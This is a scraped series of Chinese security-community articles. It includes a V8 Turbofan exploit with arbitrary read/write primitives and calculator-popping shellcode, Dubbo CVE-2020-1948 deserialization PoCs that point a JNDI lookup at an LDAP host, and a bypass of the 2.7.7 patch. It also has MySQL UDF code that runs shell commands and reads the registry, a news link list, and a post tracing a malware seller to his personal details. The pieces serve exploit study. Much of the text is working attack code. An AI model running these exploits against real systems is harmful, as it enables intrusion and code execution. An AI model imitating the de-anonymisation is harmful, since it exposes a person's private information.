第三次优化调用,idx = 1337 返回越界访问的结果(这里在debug模式下返回的是-1.1885946300594787e+148)
但是release模式下测试POC的话返回的是数组的内容,这里是1.2(这个问题)
运行结果如下
Concurrent recompilation has been disabled for tracing.
0
1
0
1
--------------------------------------------------- Begin compiling method foo using Turbofan
--------------------------------------------------- Finished compiling method foo using Turbofan
1337
-1.1885946300594787e+148
查看一下过程中的优化图解
直接看escape analysis阶段
先看最后的结果
CheckBounds节点变成了无效的节点,但是它的Range范围和笔者预想的不一样(表格中是Range(0,0))
下面就追一下原因
首先优化的时候参数的确实是Range(0,1<<16-2)
但是进行第一次右移运算的时候和笔者想的结果不太一样
查看一下源码(src/compile/operation-typer.cc)
感觉应该没问题呀 ,回去看了下节点才明白
#### Typer
在SpeculativeNumberShiftRight节点的上面有一个LoadField节点,在这个优化阶段,这个LoadFiled节点的值,编译器是得不到信息的,所以它对NumberShiftRight进行range
analysis的时候，会将其范围直接当做int32的最大和最小值。
# define INT32_MIN ((int32_t)(-2147483647-1))
# define INT32_MAX ((int32_t)(2147483647))
所以这一步的运算过程应该是这样的
min lhs is -2147483648
min rhs is 16
max lhs is 2147483647
max rhs is 16
...
[Type: Range(-32768, 32767)]
此外这里还要mark一下在Type阶段不分析的地方
EffectPhi:different branches
JSLoad/JSStore
BeginRegion/FinishRegion:local && heap
#### typer lowering phase
在这个阶段会将JSCreateArray reduce变成ArgumentsLength并且计算范围
相关函数
Reduction JSCreateLowering::ReduceJSCreateArguments(Node* node)函数
Type Typer::Visitor::TypeArgumentsLength(Node* node)函数
Type const kArgumentsLengthType = Type::Range(0.0, Code::kMaxArguments, zone());
#### load elimination phase
这个阶段去除多余的LoadFiled,替换成实际的值
#### simplified lowering phase
这里又一次Typer计算,会修复之前的范围,并且去除节点CheckBound
相关函数
RunTypePropagationPhase()函数
VisitCheckBounds()函数
运行结果
Range(0, 65534)
Range(16, 16)
min lhs is 0
min rhs is 16
max lhs is 65534
max rhs is 16
->
NumberShiftRight Range(0,0)
这里的优化过程在图上没有反映出来,可以在源码中下断点查看优化的过程
## 3 exp
这里的exp最终的效果是弹出计算器,没有去做更多的,因为主要是学习优化的流程与浮现这个洞
这部分的原理没有详细介绍,可以查阅之前的文章理解一下object ArrayBuffer wasm的知识
#### 3.1 修改数组大小
debug得到我们应该修改idx=7为更大的length
对应的修改数组的脚本
/*************************************************************
* File Name: m_exp.js
*
* Created on: xx.xx.xx
* Author: init-0
*
* Last Modified:
* Description: exp for 906043
* version version 7.2.0
************************************************************/
function hex(i)
{
return i.toString(16).padStart(16, "0");
}
function gc()
{
for(let i=0;i<10;i++)
{
new Array(0x1000000);
}
}
const MAX_ITERATIONS = 10000;
const buf = new ArrayBuffer(8);
const f64 = new Float64Array(buf);
const u32 = new Uint32Array(buf);
// Floating point to 64-bit unsigned integer
function f2i(val)
{
f64[0] = val;
let tmp = Array.from(u32);
return tmp[1] * 0x100000000 + tmp[0];
}
// 64-bit unsigned integer to Floating point
function i2f(val)
{
let tmp = [];
tmp[0] = parseInt(val % 0x100000000);
tmp[1] = parseInt((val - tmp[0]) / 0x100000000);
u32.set(tmp);
return f64[0];
}
let obj = [];
let abf = [];
function foo(args)
{
// Array.prototype.fill();
let idx = arguments.length;
idx >>= 16;
idx *= 7;
// print(idx);
let oobArray = [1.0,1.1,1.2,1.3];
// return oobArray[idx];
// print(oobArray[idx])
oobArray[idx] = 1.74512933848984e-310;//i2f(0x202000000000);
return oobArray;
}
let f_arr = [1.0];
let arr = [1.0,1.1];
arr.length = 1<<16;
arr.fill(1.2);
for(var i=0;i<MAX_ITERATIONS;i++)
{
foo(f_arr);
}
let oob=[];
let obj_a=[];
let abf_a=[];
oob = foo(...arr);
obj.push({mark:0x11111111,n:0x41414141});
abf.push(new ArrayBuffer(0x200));
%DebugPrint(oob);
%DebugPrint(obj_a);
%DebugPrint(abf_a);
console.log('[*] oob_lenght======>'+hex(oob.length));
%SystemBreak();
修改之后的结果
#### 3.2 任意地址写 && 泄露地址
首先利用上面数组的oob 找到相关的位置
代码如下
let off_buf;
let off_obj;
for(var i=0;i<maxSize;i++)
{
let tmp = oob[i];
if(f2i(tmp) == 0x11111111)
{
off_obj = i+1;
break;
}
}
for(var i=0;i<maxSize;i++)
{
let tmp = oob[i];
if(f2i(tmp) == 0x200)
{
off_buf = i+1;
break;
}
}
console.log('[*] off_obj======>'+off_obj);
console.log('[*] off_buf======>'+off_buf);
// %SystemBreak();
运行结果
接着尝试写函数实现任意地址写 原语addrof
let dataView = new DataView(abf[0]);
function abread(addr)
{
oob[off_buf] = i2f(addr);
return f2i(dataView.getFloat64(0,true));
}
function abwrite(addr,payload)
{
oob[off_buf] = i2f(addr);
for(var i=0;i<payload.length;i++)
{
dataView.setUint8(i,payload[i]);
}
}
function addrof(addr):
{
obj[0].n = addr;
return f2i(oob[off_obj]);
}
#### 3.3 get calc
具体的代码如下
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
let f_addr = addrof(f)-1;
console.log("f_addr ==> 0x"+f_addr.toString(16));
let share_info_addr = abread(f_addr + 0x18) - 1;
console.log("share_info ==> 0x"+share_info_addr.toString(16));
// %SystemBreak();
// readline();
let wasm = abread(share_info_addr + 8) - 1;
console.log("wasm ==> 0x"+wasm.toString(16));
let instance=abread(wasm+0x10) -1;
console.log("instance ==> 0x"+instance.toString(16));
// readline()
let rwx_addr=abread(instance+0xe8)
console.log("rwx_addr ==> 0x"+rwx_addr.toString(16));
var shellcode = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5];
abwrite(rwx_addr, shellcode);
f();
最终结果
## 4 参考
写POC之前没有找到参考文章,后来遇到NumberShiftRight问题之后,发现了sakura师傅的文章
<https://xz.aliyun.com/t/5712#toc-2> ☜ 👍 主要参考了优化分析部分
## 5 技巧
#### 5.1
帮助分析优化的流程
—trace-turbo-reduction
#### 5.2
关于Debug Check
在Debug模式下,即便我们绕过了checkBound节点,运行的时候仍然会其他的check,不利于之后的调试(假设后面出了问题不容易发现)
于是根据Debug模式下的报错信息,记录一下修改源码中其他check的地方
首先运行一下脚本,查看check的位置
下面两处是一个文件的两个地方
找到源码位置注释掉重新编译 记得重新编译 (另外可能不同版本v8注释的地方不同)
src/code-stub-assembler.cc
// CSA_ASSERT(this, IsOffsetInBounds(
// offset, LoadAndUntagFixedArrayBaseLength(object),
// FixedDoubleArray::kHeaderSize, HOLEY_DOUBLE_ELEMENTS));
src/objects/fixed-array-inl.h
// DCHECK(index >= 0 && index < this->length());
src/code-stub-assembler.cc
// IntPtrAdd does constant-folding automatically.
return;
// TNode<IntPtrT> effective_index =
// IntPtrAdd(UncheckedCast<IntPtrT>(index),
// IntPtrConstant(additional_offset / kPointerSize));
// CSA_CHECK(this, UintPtrLessThan(effective_index,
// LoadAndUntagFixedArrayBaseLength(array)));
上面就是改动的所有部分
一波修改之后 debug模式下成功弹出计算器
#### 5.3
MARK!!!
调试源码中的优化部分
正常跑起代码之后
在想要停止的地方下端点
之后停在了指定位置并且可以在指定的位置查看信息(print)
这个很重要，会调试源码之后才能更好的了解优化的流程 | 社区文章 |
# 【知识】9月12日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要：** **Docker Daemon – Unprotected TCP Socket (Metasploit)、 Windows
10的Linux Shell可被用来隐藏恶意软件、WiseGiga NAS多个漏洞、使用Excel.Application和DCOM进行横向渗透**
****
****资讯类：**** ** ******
************
************
Facebook在西班牙违反用户隐私，将被处罚143万美元
[http://thehackernews.com/2017/09/facebook-privacy.html](http://thehackernews.com/2017/09/facebook-privacy.html)
**技术类：** ****
********
Docker Daemon – Unprotected TCP Socket (Metasploit)
<https://www.exploit-db.com/exploits/42650/>
Windows 10的Linux Shell可被用来隐藏恶意软件
<https://motherboard.vice.com/en_us/article/xwwexa/windows-10s-built-in-linux-shell-could-be-abused-to-hide-malware-researchers-say>
研究者发布了D-Link无线路由器的10个0day漏洞，使数千网络处于危险之中
<http://thehackernews.com/2017/09/d-link-router-hacking.html>
WiseGiga NAS多个漏洞
<https://www.exploit-db.com/exploits/42651/>
Android 7(Oreo)前所有系统版本存在overlay攻击漏洞
<https://www.theregister.co.uk/2017/09/11/everybody_without_android_oreo_vulnerable_to_overlay_attack/?mt=1505184962473>
烽火ADSL路由器AN1020-25可允许匿名未授权攻击者绕过接入验证逻辑将路由器重置为出厂设置
<https://www.exploit-db.com/exploits/42649/>
使用Excel.Application和DCOM进行横向渗透
<https://posts.specterops.io/lateral-movement-using-excel-application-and-dcom-enigma0x3-on-wordpress-com-d11d56e504dc>
idb: 用于简化iOS渗透测试及研究的工具
<https://github.com/dmayer/idb>
iOS 11将使警察从你的设备中提取数据更加困难
<https://www.wired.co.uk/article/ios-11-apple-iphone-8-iphone-x-security-privacy> | 社区文章 |
## 简介
1. Dubbo 从大的层面上将是RPC框架，负责封装RPC调用，支持很多RPC协议
2. RPC协议包括了dubbo、rmi、hessian、webservice、http、redis、rest、thrift、memcached、jsonrpc等
3. Java中的序列化有Java原生序列化、Hessian 序列化、Json序列化、dubbo 序列化
图片来源：<https://www.anquanke.com/post/id/209251>
## 环境搭建
1. 克隆项目
* git clone <https://github.com/apache/dubbo-spring-boot-project.git>
* git checkout 2.7.6
2. 添加rome依赖
dubbo-spring-boot-samples 文件夹，在provider-sample文件夹下的 pom 里添加
<dependency>
<groupId>com.rometools</groupId>
<artifactId>rome</artifactId>
<version>1.7.0</version>
</dependency>
3. 启动服务端
org.apache.dubbo.spring.boot.demo.provider.bootstrap.DubboAutoConfigurationProviderBootstrap
## 复现
### python版本
# -*- coding: utf-8 -*- # Ruilin
# pip3 install dubbo-py
from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient
client = DubboClient('192.168.2.1', 12345)
JdbcRowSetImpl=new_object(
'com.sun.rowset.JdbcRowSetImpl',
dataSource="ldap://192.168.2.2:1389/nnyvbt",
strMatchColumns=["foo"]
)
JdbcRowSetImplClass=new_object(
'java.lang.Class',
name="com.sun.rowset.JdbcRowSetImpl",
)
toStringBean=new_object(
'com.rometools.rome.feed.impl.ToStringBean',
beanClass=JdbcRowSetImplClass,
obj=JdbcRowSetImpl
)
resp = client.send_request_and_return_response(
service_name='any_name',
method_name='any_method',
args=[toStringBean])
print(resp)
### java版本
1. `DemoService`增加接口方法
String rceTest(Object o);
2. `DefaultDemoService`实现接口方法
@Override
public String rceTest(Object o) {
return "pwned";
}
3. `DubboAutoConfigurationConsumerBootstrap`客户端增加调用
public ApplicationRunner runner() throws Exception {
Object o = getPayload();
return args -> logger.info(demoService.rceTest(o));
}
private static Object getPayload() throws Exception {
String jndiUrl = "ldap://192.168.2.2:1389/sg56vh";
ToStringBean bean = new ToStringBean(JdbcRowSetImpl.class, JDKUtil.makeJNDIRowSet(jndiUrl));
EqualsBean root = new EqualsBean(ToStringBean.class, bean);
return JDKUtil.makeMap(root, root);
}
4. 运行provider服务者，再运行consumer消费者，触发漏洞
流量
`0xdabb`开头的为dubbo流量，提出后可以直接用socket发送触发漏洞
## 分析
### python版本触发点
org.apache.dubbo.rpc.protocol.dubbo.DubboCodec.decodeBody()
org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation.decode()
org.apache.dubbo.rpc.protocol.dubbo.CallbackServiceCodec.decodeInvocationArgument()
org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol.getInvoker()
java.lang.StringBuilder.append()
java.lang.String.valueOf()
org.apache.dubbo.rpc.RpcInvocation.toString()
com.rometools.rome.feed.impl.ToStringBean.toString()
com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData()
com.sun.rowset.JdbcRowSetImpl.connect()
javax.naming.InitialContext.lookup()
python版本poc成功触发的关键点在于，通过构造一个不存在的`service_name`使得服务端获取不到期望的DubboExporter进而抛出异常，而在输出异常信息的时候进行了字符串拼接进而调用了隐含的toString方法，所以能够通过构造的恶意对象的toString方法触发漏洞
那么关键点就在异常处理部分了，也正是rui0提出的“后反序列化漏洞”的利用场景，重点来看一下
`org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol.getInvoker()`
//dubbo 2.7.3
if (exporter == null) {
throw new RemotiyicngException(channel, "Not found exported service: " + serviceKey + " in " + this.exporterMap.keySet() + ", may be version or group mismatch , channel: consumer: " + channel.getRemoteAddress() + " --> provider: " + channel.getLocalAddress() + ", message:" + inv);
} else {
return exporter.getInvoker();
}
dubbo
2.7.3版本中，抛出异常部分直接拼接了inv，此时inv为`DecodeableRpcInvocation`对象，并且`arguments`值为我们设置的`ToStringBean`对象，在对其直接进行字符串拼接时会触发String.append->String.valueOf->obj.toString()，进而将`ToStringBean`进行tostring触发漏洞
而在2.7.5之后的版本中，throw RemotiyicngException部分变成了
//dubbo 2.7.5
if (exporter == null) {
throw new RemotingException(channel, "Not found exported service: " + serviceKey + " in " + this.exporterMap.keySet() + ", may be version or group mismatch , channel: consumer: " + channel.getRemoteAddress() + " --> provider: " + channel.getLocalAddress() + ", message:" + this.getInvocationWithoutData(inv));
} else {
return exporter.getInvoker();
}
注意到对inv经过了`getInvocationWithoutData`处理，这个处理是这样的：
//org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol
private Invocation getInvocationWithoutData(Invocation invocation) {
if (this.logger.isDebugEnabled()) {
return invocation;
} else if (invocation instanceof RpcInvocation) {
RpcInvocation rpcInvocation = (RpcInvocation)invocation;
rpcInvocation.setArguments((Object[])null);
return rpcInvocation;
} else {
return invocation;
}
}
可以看到将invocation中的`arguments`值处理成了空，经过这个处理之后后续的toString利用链就无法继续下去，起到了第一层防御效果，因此通过设置`arguments`为恶意对象的方法就无法在2.7.5版本以上触发。
相关commit可以在[这里](https://github.com/apache/dubbo/commit/5618b12340b9c3ecf90c7e01c274a4f094cc146c#diff-37a8a427d2ec646f392ebd9225019346)看到
### Java版本触发点
org.apache.dubbo.remoting.transport.DecodeHandler.decode()
org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation.decode()
org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectInput.readObject()
com.alibaba.com.caucho.hessian.io.Hessian2Input.readObject()
com.alibaba.com.caucho.hessian.io.MapDeserializer.readMap()
com.alibaba.com.caucho.hessian.io.MapDeserializer.doReadMap()
java.util.HashMap.put()->hash()->hashCode()
com.rometools.rome.feed.impl.EqualsBean.beanHashCode()
com.rometools.rome.feed.impl.ToStringBean.toString()
com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData()
com.sun.rowset.JdbcRowSetImpl.connect()
javax.naming.InitialContext.lookup()
下面讨论一下java版本poc为什么在解决了异常处理的toString后还是能触发漏洞？
除了上面的commit修复了异常处理中的toString外，官方还提交了一个[PR](https://github.com/apache/dubbo/commit/04fc3ce4cc87b9bd09546c12df3f8762b9525da9#diff-97efdee63a15983753ec52d8cd03b6a7)
在`org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation.decode()`中增加了`RpcUtils.isGenericCall`和`RpcUtils.isEcho`的判断，在没有补丁之前，pts还能通过反射从desc中获取到，而打了补丁后，如果方法名不是`$invoke`或`$invokeAsync`或`$echo`则直接抛出Service
not found，因此当用python版本poc发送不存在的service_name或method_name时，便通不过判断，也就无法利用。
上述判断条件是当传入的参数类别从对应的方法中获取不到的时候进行的，那么如果我们传入正确的方法名和参数类型，该条件就不成立，也就不会进入`RpcUtils.isGenericCall`和`RpcUtils.isEcho`，从而绕过了对调用的方法名的判断
因此我们重新实现一下客户端代码，调用正确的服务名和方法名，并传入构造的map对象，便能再次触发漏洞。
触发条件：必须知道服务端的完整service
name和方法名，同时该方法需要能接收map或object对象，客户端才能通过正确的服务名和方法名去调用，否则是无法触发的。
### 2.7.7绕过
上面分析了CVE-2020-1948，看似补丁修复了漏洞，但之后又有讨论说在2.7.7上又存在绕过，下面也来分析一下
还是看`getInvocationWithoutData`方法，注意到在设置`arguments`为空之前有这么两行代码
if (this.logger.isDebugEnabled()) {
return invocation;
}
这就是说如果provider是以debug模式启动的，那么会直接返回`invocation`对象。。。
配置一下服务端启动的日志级别，然后修改python版本poc的`method_name`为`$invoke`，成功绕过2.7.7补丁（还需要注意服务名是否匹配和服务版本号的问题）
<?xml version="1.0" encoding="UTF-8"?>
<configuration scan="true">
<logger name="com.alibaba.dubbo" level="DEBUG"/>
</configuration>
### 小结
上面两种触发方式是不一样的，一个是利用异常处理中存在设计不足，使得可以执行用户可控参数的toString方法，也即“后反序列化”利用思路，另一个是直接反序列化hessian2数据，期间对hashmap的操作进入toString，从调用栈上也能看出两者的区别。
## 修复方式
按照[dubbo/pull/6374](https://github.com/apache/dubbo/pull/6374)建议的方法，给`ParameterTypesDesc`加上校验，严格限制类型为`Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object;`，同时建议参考[sofa-hessian](https://github.com/sofastack/sofa-hessian)给反序列化加上黑名单
## 参考
* <https://www.mail-archive.com/[email protected]/msg06544.html>
* <http://rui0.cn/archives/1338>
* <https://www.anquanke.com/post/id/197658>
* <https://github.com/apache/dubbo/pull/6374> | 社区文章 |
# “大灰狼”远控木马幕后真凶深入挖掘
|
##### 译文声明
本文是翻译文章，文章来源：小羊羔2333
译文仅供参考，具体内容表达以及含义原文为准。
**author: 小羊羔2333**
前些日子看到了360在调查关于大灰狼远控木马的真凶,正巧,今天在某论坛看到了关于这个这个木马的牧马人的最新信息。
看来这个牧马人非常警觉,又更换了域名地址和QQ联系方式。我们先看看这个联系的QQ号吧
通过百度查找这个QQ号,发现这是一个专门替人设计网站的人。
接着打开[www.dhlyk.com这个网址]()
果然,还是这个网站,看来这个牧马人非常警觉,再次更换了域名。
我们在这个网站找到了牧马人的最新的联系方式QQ3032427886
与之联系,发现此人依旧在卖远控木马
还在炫耀远控木马的功能
看来牧马人就是此人了。我们先看看能不能获得他的一些信息
在其QQ空间里,在炫耀远控木马的销售记录,但是没有获得什么有价值的信息
我们再看看其域名吧。
这个牧马人虽然很警觉。,但是还是百密一疏啊。我们顺利查到了他的真正的信息
终于,在其真正的QQ空间中发现了他的个人信息还有生活照
看来牧马人必定是此人了,希望各位网友小心,注意防范大灰狼远控木马 | 社区文章 |
## 1、MySQL UDF是什么
UDF是Mysql提供给用户实现自己功能的一个接口，为了使UDF机制起作用，函数必须用C或C
++编写，并且操作系统必须支持动态加载。这篇文章主要介绍UDF开发和利用的方法。
## 2、UDF开发
操作系统:Windows 10
测试环境：PHPStudy+Mysql 5.5(x64)
编译器：VS2015
### 2.1 编译器方法
* MySQL源码包
从MySQL官网下载对应版本的源码包，把MySQL对应版本的源码下载回来。将include文件夹和lib文件夹解压至C++项目路径。
<http://mirror.yandex.ru/mirrors/ftp.mysql.com/Downloads/MySQL-5.5/mysql-5.5.59-winx64.zip>
* VS2015配置-项目属性
将MySQL的include、lib文件夹放到C++项目路径后。属性配置如下：
* include：VC++目录->包含目录->添加include目录
* lib：VC++目录->库目录->添加lib目录
* libmysql.lib：链接器->附加依赖项->添加libmysql.lib
### 2.2 调试方法
UDF在程序代码中加入调试OutputDebugStringA();就可以输出调试的信息了。在每个分支都输出相对应的调试信息，就可以获取当前运行的状态。
OutputDebugStringA("--UDF:my_name()被调用");
### 2.3 使用UDF扩展
// 注册函数
CREATE FUNCTION about RETURNS string SONAME "mysql_udf_c++.dll";
// 卸载函数
Drop function about;
// 使用函数
select about();
// 验证
select * from mysql.func where name = 'cmdshell';
### 2.4 CPP源码思路
* 执行CMDSHELL
使用方式：
# 创建cmdshell函数
CREATE FUNCTION cmdshell RETURNS int SONAME "mysql_udf_c++.dll";
# 执行shell函数，如果不加路径默认路径在mysql的data目录下。例如："D:\phpStudy\MySQL\data\helllo.txt"
select cmdshell("echo hello>>helllo.txt");
# 注销cmshell这个函数
Drop function cmdshell;
CPP源码如下：
#include <winsock.h>
#include <mysql.h>
#ifndef UNICODE
#define UNICODE
#endif
#pragma comment(lib, "netapi32.lib")
#include <stdio.h>
#include <windows.h>
#include <lm.h>
//--------cmdshell
extern "C" __declspec(dllexport)my_bool cmdshell_init(UDF_INIT *initid,
UDF_ARGS *args,
char *message)
{ //参数长度
unsigned int i = 0;
if (args->arg_count == 1
&& args->arg_type[i] == STRING_RESULT) {
// 返回正常
return 0;
}
else {
strcpy(
message
, "Expected exactly one string type parameter"
);
//执行失败
return 1;
}
}
extern "C" __declspec(dllexport)my_ulonglong cmdshell(UDF_INIT *initid,
UDF_ARGS *args,
char *result,
char *error)
{
// 利用sysytem函数执行命令
// 执行“net user >> hello.txt”命令，实际路径为D:\phpStudy\MySQL\data\hello.txt
// 执行数字例如：select cmdshell("1");就会导致MySQL结束服务。
return system(args->args[0]);
}
extern "C" __declspec(dllexport)void cmdshell_deinit(
UDF_INIT *initid)
{
if (initid->ptr)
{
free(initid->ptr);
}
}
* 回显shell
回显shell编写尝试，跟没有回显的shell执行命令是一样的原理。
核心原理是创建一个管道，把命令结果输入管道读取出来后关闭管道。
使用方式：
# 创建sys_eval函数
CREATE FUNCTION sys_eval RETURNS string SONAME "mysql_udf_c++.dll";
# 执行shell函数，如果不加路径默认路径在mysql的data目录下。例如："D:\phpStudy\MySQL\data\helllo.txt"
select sys_eval("echo hello>>helllo.txt");
# 注销cmshell这个函数
Drop function sys_eval;
CPP源码如下：
#include <winsock.h>
#include <mysql.h>
#ifndef UNICODE
#define UNICODE
#endif
#pragma comment(lib, "netapi32.lib")
#include <stdio.h>
#include <windows.h>
#include <lm.h>
//-------- extern "C" __declspec(dllexport)my_bool sys_eval_init(UDF_INIT *initid,
UDF_ARGS *args,
char *message)
{ //参数长度
unsigned int i = 0;
if (args->arg_count == 1
&& args->arg_type[i] == STRING_RESULT) {
return 0;
}
else {
strcpy(
message
, "Expected exactly one string type parameter"
);
return 1;
}
}
extern "C" __declspec(dllexport)char* sys_eval(UDF_INIT *initid
, UDF_ARGS *args
, char* result
, unsigned long* length
, char *is_null
, char *error)
{
FILE *pipe;
char buff[1024];
unsigned long outlen, linelen;
// 开辟内存
result = (char*)malloc(sizeof(char));
outlen = 0;
// 创建管道
pipe = _popen(args->args[0], "r");
// 读取管道数据
while (fgets(buff, sizeof(buff), pipe) != NULL) {
linelen = strlen(buff);
result = (char*)realloc(result, outlen + linelen);
// 把管道内容拷贝进返回结果里
strncpy(result + outlen, buff, linelen);
outlen = outlen + linelen;
}
// 关闭管道
_pclose(pipe);
// 当*is_null被设置为1时，返回值为NULL
if (!(*result) || result == NULL) {
*is_null = 1;
}
else {
result[outlen] = 0x00;
*length = strlen(result);
}
// 返回结果
return result;
}
extern "C" __declspec(dllexport)void sys_eval_deinit(
UDF_INIT *initid)
{
if (initid->ptr)
{
free(initid->ptr);
}
}
* 注册表操作
核心代码主要是以下几个注册表操作相关的API实现的
RegQueryInfoKey
RegEnumValue
RegQueryValueEx
RegCloseKey
RegCreateKeyEx
RegSetValueEx
RegCloseKey
* * 注册表读取
使用方式：
# 创建regread函数
CREATE FUNCTION regread RETURNS string SONAME "mysql_udf_c++.dll";
# 执行regread函数
select regread("HKEY_CURRENT_USER","Software\\Microsoft\\Internet Explorer\\Main","Start Page");
# 注销regread这个函数
Drop function regread;
CPP源码如下：
#include <winsock.h>
#include <mysql.h>
#include <stdio.h>
#include <windows.h>
#define MAX_KEY_LENGTH 255
#define MAX_VALUE_NAME 16383
//-------- extern "C" __declspec(dllexport)my_bool regread_init(UDF_INIT *initid,
UDF_ARGS *args,
char *message)
{
//判断参数是否正确,三个参数必须是字符串
if (args->arg_type[0] == STRING_RESULT && // 主键
args->arg_type[1] == STRING_RESULT && // 键项
args->arg_type[2] == STRING_RESULT // 键值
)
{
return 0;
}
else {
strcpy(
message
, "Expected exactly Three string type parameter"
);
return 1;
}
}
extern "C" __declspec(dllexport)char* regread(UDF_INIT *initid
, UDF_ARGS *args
, char* result
, unsigned long* length
, char *is_null
, char *error)
{
HKEY hRoot;
// 判断根键
if (strcmp("HKEY_LOCAL_MACHINE", (char*)(args->args)[0]) == 0)
hRoot = HKEY_LOCAL_MACHINE;
else if (strcmp("HKEY_CLASSES_ROOT", (char*)(args->args)[0]) == 0)
hRoot = HKEY_CLASSES_ROOT;
else if (strcmp("HKEY_CURRENT_USER", (char*)(args->args)[0]) == 0)
hRoot = HKEY_CURRENT_USER;
else if (strcmp("HKEY_USERS", (char*)(args->args)[0]) == 0)
hRoot = HKEY_USERS;
else
{
initid->ptr = (char *)malloc(50 + strlen((args->args)[0]));
sprintf(initid->ptr, "unknow:%s\r\n", (args->args)[0]);
*length = strlen(initid->ptr);
return initid->ptr;
}
// 判断根键存不存在
// 编码转换 char转wchar
int len = MultiByteToWideChar(CP_ACP, 0, (args->args)[1], strlen((args->args)[1]), NULL, 0);
wchar_t* m_wchar = new wchar_t[len + 1];
MultiByteToWideChar(CP_ACP, 0, (args->args)[1], strlen((args->args)[1]), m_wchar, len);
m_wchar[len] = '\0';
HKEY aTestKey = NULL;
DWORD dwType = REG_SZ;
if (RegOpenKeyEx(hRoot,
m_wchar,
0,
KEY_READ,
&aTestKey) != ERROR_SUCCESS
)
{
initid->ptr = (char *)malloc(50 + strlen((args->args)[1]));
sprintf(initid->ptr, "unknow:%s\r\n", (args->args)[1]);
*length = strlen(initid->ptr);
return initid->ptr;
}
// 查询键项目
TCHAR achClass[MAX_PATH] = TEXT(""); // 指定一个字串，用于装载这个注册表项的类名
DWORD cchClassName = MAX_PATH; // 指定一个变量，用于装载lpClass缓冲区的长度。一旦返回，它会设为实际装载到缓冲区的字节数量
DWORD cSubKeys = 0; // 子键的数目
DWORD cbMaxSubKey; // 设置最大子键长度
DWORD cchMaxClass; // 指定一个变量，用于装载这个项之子项的最长一个类名的长度
DWORD cValues; // 用于装载这个项的设置值数量的一个变量
DWORD cchMaxValue; // value的最长名字
DWORD cbMaxValueData; // value的最长数据
DWORD cbSecurityDescriptor; // 安全描述符的大小
FILETIME ftLastWriteTime; // 上次写入的时间
DWORD i, retCode;
DWORD dwSize;
TCHAR *wStr = new TCHAR[MAX_VALUE_NAME];
TCHAR achValue[MAX_VALUE_NAME];
TCHAR data[MAX_VALUE_NAME];
DWORD cchValue = MAX_VALUE_NAME;
DWORD dBufSize; //返回结果长度
// Get the class name and the value count.
retCode = RegQueryInfoKey(
aTestKey, // 主键句柄
achClass, // 指定一个字串，用于装载这个注册表项的类名
&cchClassName, // 指定一个变量，用于装载lpClass缓冲区的长度。一旦返回，它会设为实际装载到缓冲区的字节数量
NULL, // reserved
&cSubKeys, // 用于装载（保存）这个项的子项数量的一个变量
&cbMaxSubKey, // 指定一个变量，用于装载这个项最长一个子项的长度。注意这个长度不包括空中止字符
&cchMaxClass, // 指定一个变量，用于装载这个项之子项的最长一个类名的长度
&cValues, // 用于装载这个项的设置值数量的一个变量
&cchMaxValue, // 指定一个变量，用于装载这个项之子项的最长一个值名的长度
&cbMaxValueData, // 指定一个变量，用于装载容下这个项最长一个值数据所需的缓冲区长度
&cbSecurityDescriptor, // 装载值安全描述符长度的一个变量
&ftLastWriteTime); // 指定一个结构，用于容纳该项的上一次修改时间
// 枚举键值.
// 匹配出对应的值
if (cValues)
{
for (i = 0, retCode = ERROR_SUCCESS; i < cValues; i++)
{
cchValue = MAX_VALUE_NAME;
dwSize = MAX_VALUE_NAME;
achValue[0] = '\0';
data[0] = '\0';
retCode = RegEnumValue(aTestKey, i,
wStr,
&cchValue,
NULL,
NULL,
NULL,
NULL);
RegQueryValueEx(aTestKey, wStr,
NULL,
&dwType,
(LPBYTE)data,
&dwSize);
// 编码转换 char转wchar
int len = MultiByteToWideChar(CP_ACP, 0, (char*)(args->args)[2], strlen((char*)(args->args)[2]), NULL, 0);
wchar_t* m_wchar = new wchar_t[len + 1];
MultiByteToWideChar(CP_ACP, 0, (char*)(args->args)[2], strlen((char*)(args->args)[2]), m_wchar, len);
m_wchar[len] = '\0';
if (retCode == ERROR_SUCCESS && wcscmp(wStr, m_wchar) == 0)
{
//printf("\n键名：%ls\n键值：%ls", wStr, data);
//获取转换所需的目标缓存大小
dBufSize = WideCharToMultiByte(CP_OEMCP, 0, data, -1, NULL, 0, NULL, FALSE);
//分配目标缓存
result = new char[dBufSize];
memset(result, 0, dBufSize);
//转换
int nRet = WideCharToMultiByte(CP_OEMCP, 0, data, -1, result, dBufSize, NULL, FALSE);
}
}
}
delete[]wStr;
RegCloseKey(aTestKey);
// 当*is_null被设置为1时，返回值为NULL
if (!(*result) || result == NULL) {
*is_null = 1;
}
else {
result[dBufSize] = 0x00;
*length = strlen(result);
}
// 返回结果
return result;
}
extern "C" __declspec(dllexport)void regread_deinit(
